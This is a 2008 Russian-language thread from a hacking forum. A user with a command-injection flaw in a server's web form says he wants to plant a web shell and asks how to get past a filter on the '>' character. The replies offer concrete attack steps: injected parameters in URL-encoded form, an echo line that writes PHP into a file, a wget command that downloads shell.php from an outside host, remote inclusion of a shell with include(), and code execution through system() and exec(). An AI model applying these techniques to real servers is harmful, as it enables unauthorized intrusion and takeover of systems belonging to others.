Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Как создать файл имея возможность выполнить команду интерпретатора? (https://forum.antichat.xyz/showthread.php?t=82554)

n0mie 27.08.2008 11:58

Как создать файл имея возможность выполнить команду интерпретатора?
 
Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile 2.txt%3B
после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа
param1=180%3Becho+test%3Einclude%2Ffile.txt%3B
(%3E - это ">")
Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает.
Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально..

Nek1t 27.08.2008 14:26

2n0mie,

Код:

echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php

.Slip 27.08.2008 14:30

copy('remote file','localfile');

Nek1t 27.08.2008 14:56

А, точно, можно еще просто слить файл из инета:
Цитата:

wget -O /some_folder/shell.php http://site.com/shell.txt

.Slip 27.08.2008 15:15

Цитата:

Сообщение от Nek1t
А, точно, можно еще просто слить файл из инета:

Не подскажешь ли, давно в пхп появилась функция wget?

Nek1t 27.08.2008 16:25

Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\

n0mie 27.08.2008 17:50

Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах..
Перенаправление в файл не работает, т.к. фильтруется вот таким образом:
$QWE = array('&' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => ''', "'" => ''');
$_POST[$key] = strtr(stripslashes($value), $QWE);
Возможно есть способ обойти такой фильтр, чтобы > не поменялось на &gt;?

Nek1t 27.08.2008 19:33

n0mie
Универсального кроссплатформенного решения боюсь нет :)

Дык, wget'ом получилось залить?

.Slip, я был прав! :p

guest3297 28.08.2008 00:56

Nek1t
видишь разницу между /bin/bash и интерпритарором php

2TS
не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt

Получить шелл ты можешь функцией system() exec() passhru() и так далее.
php.net тут справочник по функциям.

------------------------

update
мда...

Nek1t 28.08.2008 12:04

[ cash ]
ТС несколько путает интерпритатор PHP и /bin/bash.

Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash


Время: 00:18